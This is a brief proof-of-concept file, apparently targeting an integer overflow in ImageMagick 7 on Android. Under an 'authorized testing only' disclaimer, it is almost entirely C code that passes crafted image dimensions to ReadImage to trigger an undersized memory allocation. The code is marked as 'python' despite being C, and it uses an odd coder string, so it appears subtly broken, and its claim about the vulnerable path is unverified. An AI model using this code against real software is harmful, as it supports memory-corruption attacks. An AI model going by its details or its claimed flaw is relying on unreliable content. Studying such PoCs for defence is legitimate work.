The following code is for security research and authorized testing only.
python
// PoC for Integer Overflow in Android-ImageMagick7
// This is a conceptual PoC demonstrating how an integer overflow might occur
// when processing crafted image dimensions.
#include <stdio.h>
#include <stdlib.h>
#include "MagickCore.h"
int main(int argc, char **argv) {
Image *image;
ImageInfo *image_info;
ExceptionInfo *exception;
// Initialize ImageMagick environment
MagickCoreGenesis(*argv, MagickTrue);
exception = AcquireExceptionInfo();
// Create a crafted image with dimensions that trigger overflow
// Example: width and height that when multiplied result in a value
// that wraps around to a small positive number, causing insufficient memory allocation.
unsigned long width = 0x10000000;
unsigned long height = 0x10;
// width * height = 0x100000000 -> wraps around if stored in 32-bit integer
image_info = CloneImageInfo((ImageInfo *) NULL);
strcpy(image_info->filename, "poc_canvas:magick"); // Using canvas generator
// Set crafted size to trigger the vulnerable code path
image_info->size = (char *)malloc(50);
sprintf(image_info->size, "%lux%lu", width, height);
// Attempt to read the image, triggering the vulnerable parsing logic
image = ReadImage(image_info, exception);
// Check for exceptions indicating a crash or error
if (exception->severity != UndefinedException) {
printf("Exception caught: %s %s\n", exception->reason, exception->description);
}
if (image) {
DestroyImage(image);
}
DestroyImageInfo(image_info);
DestroyExceptionInfo(exception);
MagickCoreTerminus();
return 0;
}